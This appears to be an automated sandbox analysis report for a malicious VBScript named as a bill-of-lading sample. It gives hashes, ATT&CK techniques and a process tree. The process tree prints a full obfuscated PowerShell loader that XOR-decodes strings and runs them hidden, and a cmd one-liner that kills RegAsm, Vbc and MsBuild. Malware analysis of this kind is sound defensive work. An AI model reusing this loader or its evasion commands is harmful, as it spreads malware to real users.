a5f26905d81e65c2de5579f0a2c8ff83c3cd4649eff015387d2ddf148b46a4c6

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/10/2026, 03:31

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General

Target
CKCOXM2604298M提单样本.vbs
Size 29KB
Sample261027-d2216abs2j
SHA256 a5f26905d81e65c2de5579f0a2c8ff83c3cd4649eff015387d2ddf148b46a4c6
MD5 99abaf531709ff89d4887a4560603352
SHA1 29cdd8527db165bf63027aee90f707e3d98ad6ef
SHA512 726646d0a164ccb3d383da3e0a697d087e8a24a47500237387a9c2191e9f9b126b6f9e70fc28ff6abdf5542529fe2cc6991ae9c1a4dacaf3d89d407558f3319b
SSDEEP 768:KSObhOJnITHc0XODVkLEANEy5gJJAk3aG/SCthj0l0tBZzr8c:LihOJnsHcFDVkLEANEwgJJh3aGxy0Xuc
TLSH
T1EBD264178D068FF01C7A2756A57FA81DA920036678387D0E398FF15C3B3A625CBD16E6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	5428	powershell.exe
12	5428	powershell.exe
17	5428	powershell.exe
18	5428	powershell.exe
19	5428	powershell.exe
20	5428	powershell.exe
33	5428	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5468	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4528	WScript.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral1/memory/5428-14-0x0000026E64790000-0x0000026E647A6000-memory.dmp	SmartAssembly

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3388	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3200	taskkill.exe
1848	taskkill.exe
5744	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5428	powershell.exe
5428	powershell.exe
5428	powershell.exe
5468	powershell.exe
5468	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeDebugPrivilege	5468	powershell.exe
Token: SeDebugPrivilege	5744	taskkill.exe
Token: SeDebugPrivilege	3200	taskkill.exe
Token: SeDebugPrivilege	1848	taskkill.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 5428	4528	WScript.exe	84
PID 5428 wrote to memory of 5468	5428	powershell.exe	95
PID 5468 wrote to memory of 3388	5468	powershell.exe	97
PID 3388 wrote to memory of 5744	3388	cmd.exe	99
PID 3388 wrote to memory of 3200	3388	cmd.exe	100
PID 3388 wrote to memory of 1848	3388	cmd.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CKCOXM2604298M提单样本.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=62-34;$yFoyC922='NvD6Hajx0kS';$fHG0k20='9Gh5HugxWV124epS';$dCWrmLQ='xhuVx99SgguhuSH4H1gpgeggH5x5HH5guhHV92GGGughhVGWhWux5guV9exV5VHWx1g9HVx5HhuGuHupuH9SH5xeHVGghHh1g9uHueg992Hhg4hhGWHeGWg9uhupHuHhGug9ge9uhuHWxe9gg2H9G5Hug4HSxGH5ughWuuuuuuHhGug251g9x29hxuHSuW92uGuxgggg9H519uhS92929g95G4gug99Wx4HhupupupHuGpuV5h59Hu5uHx52H9GHHe5GGug9HVGG5gHWx9g9GHH25xG4g2g4H5g4HWxVGhHeGV5Gghx9gxuWx29G54gSuuu1GpGSH4x1HSxG9Wx2uuuxxSu992u4H9g1hgHhuuupHHxGGpH5g9x1H25gHWxeGhHehSg954955H945pH4HVxuuuugHHghg4ggu1xx9Sxxg2uSH29HHuHHxuHhxS92xxHVgeGWu9ghg4xxuVg49uggHhg9u99uHuggxxH5xhH4hSG2g2g49SHuhxHxHVxeGVg9uhHHu251H5ggg9H5xe95xpgSHVuh9Sg455hpxWxhGSh59V5ehW5VHugWgguW555SxpupuuuhH1G4u1xGHSxG9hxgHWG9GGgx52hV5H945p91gxuuu5ug95upgx5HgWxGG2x4uxuSH59pxugWg9HeuWGpxeugx4H29Hu1x15Hux5pG4x5HVuGHSH1GVuhgxuWg49ux4u4g2xS5xGugWhH9u5pgGGWG2G99hH1GugWhu94h5H4u4upHx9Shuu5g5xGHSg1H4HGHhH5ug9Su4hxu1HVg1HhHuupuhgG9guWg4x1uWhuH4GS5GG99hH1GGhexuGp5puG5hx4uuugHxg5gWx1HWxG9G5hGgxVH4G1HHxeu2HpxH9VxGHSG99g929GhV5VgSxGGVx4HSG99g929GhxuWHVx992ggu5929hgx52hV5H945p91xeHVuuH59VuVhV549WxSuS5huhup9hHpu9525e94guH4ggHVHV9hGGGGx2xGuWg2Gpx4G2GHH5u2GSHex2u2x999xeu1uHgg92HugW549WxSuS52G2He9h9Vu9xexxHH5pGx5huWuSH4GpuWgxgGHV5pGG5hHg929hgx52hV5H945pGpxxHSHuu99HGGhex1uVxh995hHg929hgx52hV5H945pHWx59SG9GSH1GghphShGGHH45hG2G99g929HhVhV945g55xgHVuSHSH1Ggu2xWu4xS5Hx1g1xhg552945H559uhugGGWGSuGGHH194hV5H9WxSuW5hG9GHH5uS919HGp945pH45hGSuGGhH194hVuH9H5gHWx59eG99VH1GVugx9upxG9G5hG4xxg99ux9HGugu2xSheu995g1g5hW9VgSu5u2uWhHH5';$n3JJfN8Q7='e22W15e224WgW1WuSp1u4244S14W2S4up91pp22upueg45W4WupGWh1VpSS1ee2gWG25Vh1512WpW42WV4S5WVVp2hVh1VeGWh1GWpWWSGW11u21VuWH4GeeSu12V44xSp2x2VVueHeV41pepgSG2ep1VxeeS541254uV2121SS115eg44V2VV1xW4WuWe11SgWg1x11WH1gSH1419WW21e91e2x1pWGWH4924SVShS124pxeSe9S54G254epHpSSe2u45S44S2heg25e9pHW22hph19V1WH2hWuexW4291pV2px1GV21x21WSSWVppHp2241uSuS2pGS54G254epHpSSe2u1xV942S24uShe1pHph25S9ppehWu1gWeSS4HpH2HSe2G1S4p42pp4G4W2p2e241VS915eW2S2gVVpx45WG1G2pS111VSWu2H241VexVGV2V21ep92GWp1x2hpxVS1e1G212ep1Vxe4S1e1VppxpHpSSe2uppehW1p14G1p4ep4V92Vpx1GV242SH1HS21xSe1125S1VS2511ppe42H4HSSpSSVSxSpegegS54V44WV2g19292upV25W5VVV9eg1SWuShS124Sueg4S2Ge925e9pHp2241ep92SWu2xWHp21h1hpxSVSHSxeSe9S5p4VV4epHpSSe2G144H42pp4G2xW4S4pGVHS211V5V5V4Wx224V1gSSSH1p45S442S54G254e1e1VSe2ep1VHe1S544SHWWpHSSSe2W1SVWWSS54uSGeSpHph21pGppehWVph4W25VgpHp22S1HppeeegS54uSheHp1W52WS21VWhW5pW4GVppxpHpSSe2up1VHeWS5e4254V1gSeSe2WppehWVphe1VppxpHpSSe2uppehWVpx4G1p4ep91ppu22VeW5WV19VupGWH111WSu2G144x4xS54uSGeppeSHe9VSppeg42SxW51G4eSVpSSVSHSgeW1h2eWuSgVuW21VSu2G144g4hpWp4VV4epHpSSe2up1VHepS5e4252gVx2g1ppG12V24uV9WpSeV21G2e1V4WSH441e1GWpSp1S1u242W15S11uVS1GWWSeW1p4p22S1Gpx4e42S54G2xWSSgpSp92up1Vxe5Se1WSeWV1G2xVhS5pgehWVp54W1W4epHpSSVSxS4egegS54uSheup1Wg25SG12Wp1H2u4V2xWSSHpgpgVW4Heg42S54G2xWSShpSp92uVu1uVh19VuSgW9p1Ve2WS51hV5WW1xWWS4W5p1Wp1ppg12V2WV2SVW4pexSpW52hSH11ep4S2GeH21eg4V4uSe2uWVV5VSSp2GpGWh1x111ppgppW142W9WppGVVpVW92SSS12VuVSS51h452W';$umveIRC='uhgx54gS9x5p55h1gW5p9GGug19Hh1hx5W51hGgSh5Hh5ehWGhgSGxhVxggVH15pGe9G5puW5SuHhGxg9hg5hu9hG55puuupGu5S51hGh4GV9pGShSuHHVhH9Wu2Hph4xxHSuhgpG15euHg9xgg9gpgGHG5uhS94up9ehe55g4hH9W9299huGuh1u594gxh9gV9ShpHSxxuSh5uHxgxgg4u555GeGehxuWhehu9W51hxuWgxhh55G9G5H4599pgg59gWx9Hgu2xGxu99xVuxxggHh4xxH2G9xhHuhhh25VhHh2gGxxHWh2x2HVHxh5ge5h9xuS59uhHSgeuG5GxVuxxggHh4xxH2G9x5uW5xuHxu9Vh9xp5W9huhgehSgghp54Gx95gHG55x5HxS55uhGWgVGHG5u154he5u9WH9g45uGS9ShhHHh9hpGG9eh15h5uG15ph2g1Gg5p5xGSh2u4HuGx9uhSgHGp545xhg5SuhhG5uGeGxHV52hHuug5uW5GuHxV5Hxeh4g1HSughWHGhHhxhW5H5xxWhu9gG4heu951uWxexhhg5uxVh5GxhHGSxpG4xex2gH5eghHgxSH9u4gVHHxeg2gHhH9W9299huGuh1u5Gu5GxV5Gx9HgHVHxxhh1uHxexgg9gSggHSHSg1u9uuG9hS5VhVh4x9hxGuxxHuheueggu2HphW5HueuhxxuWH19Sh9gegHhW5Hu4uhxxuWHHGGh1x292gp5e91GG5puWuV9ehphhhGgGxVh4GehgGHgSGxhV5Sh2ghhHHG555W91g29eGG5S5xxWu1guughVH4h1HVxeGGhGxWx15eG5hHG4guGVxex29Vgu5V9gGS5SGuh1HugeggxHh4x1hhG55hGGgx9G59xgxe5ugpugxSH9u4gVHGxeg2gHhHxSH2GGxpuWh9uHg4gGgeh4xhHSH9xSHph5uHx95H54g5huHSHh5hH2H2xVuxxhh1xV5295uhxxuWhpGxgpxW9ugW55HxhVG1h2HV9Ghphhh2gGGW9eGWhSG2xphVGehegHHu55HSHSg1u4gVH9ggxgG9g55491G4g1Huh1ugxV5uxGhpg4HShG5pGVxpGGxeg2gHhpGp92GphSu1h19VxHu2Hph4xxHSuhgpG254uHg9xgg9gpg9HG5uhS94HxGGhV5ph2gWxSHxhehp91guGVxexGG4H1h5hpuug5uWhGuHxu9Vh9xp5W9huhgeh9u4HHg9xGgehuxVhgG454GxgGGGxuxhh1xV5295upg1h5guGg5x55hxxW945hhSg1u9hpGggHxggWhW5Hupupg1uSheuWxexhhg5Hx2HSughVHWh1uWxexpG2gWhu99GSg1uSu4G49H9Sg5huxpHg9S5xxu99';$mgHHiyY=0x4C66-0x5EAB;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x5A)};$vzzfsb=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0xA5)};$nPjxXtqJ=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x3C)};$qHDyj1J=$sSFNpNrR;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$dCWrmLQ.Length){$zFQszL=$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF])*16+$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF+1]);if($p3zb2QaE-ge$vzzfsb.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$vzzfsb[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$zrAL2c=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$n3JJfN8Q7.Length){$zFQszL=$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF])*16+$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF+1]);if($p3zb2QaE-ge$nPjxXtqJ.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$nPjxXtqJ[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$xEK2NG3=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$umveIRC.Length){$zFQszL=$fHG0k20.IndexOf($umveIRC[$iARPxZQF])*16+$fHG0k20.IndexOf($umveIRC[$iARPxZQF+1]);if($p3zb2QaE-ge$qHDyj1J.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$qHDyj1J[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$oHfttgMI0=$lldJgZa;$xzOWn3f=$zrAL2c+$xEK2NG3+$oHfttgMI0;.($ShellId[1] + $ShellId[13] + 'x') $xzOWn3f
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5468
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3388
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5744
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3200
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 06699619cf99b43d2f514fd536fb560c6a0316dbb0d3fa499823cf46df60a833
MD5 b3be1f7f619f9767a60cddb03c36f59e
SHA1 33bf725a7491e2044f4d7480e90db2da0d488046
SHA512 0917a43a74d4b6614d6ffff59fdb551e2752cd32343267ce8892b7d513a8129683f68582d80b37fc2fdbf0b7a04e83bb7cb49a913b44ae32c791ff64b52aa90c
TLSH
T1B7217527F39C8921CC8A013A509E9C1476B283D741AECF9F6FC4D604E27F988CB61194
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_eue5otaz.bm4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eue5otaz.bm4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/5428-12-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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memory/5428-10-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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memory/5428-11-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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memory/5428-0-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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memory/5428-13-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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memory/5428-14-0x0000026E64790000-0x0000026E647A6000-memory.dmp

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memory/5428-24-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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memory/5428-25-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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memory/5428-2-0x0000026E7CDD0000-0x0000026E7CDF2000-memory.dmp

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memory/5428-1-0x0000026E7CE90000-0x0000026E7CEA0000-memory.dmp

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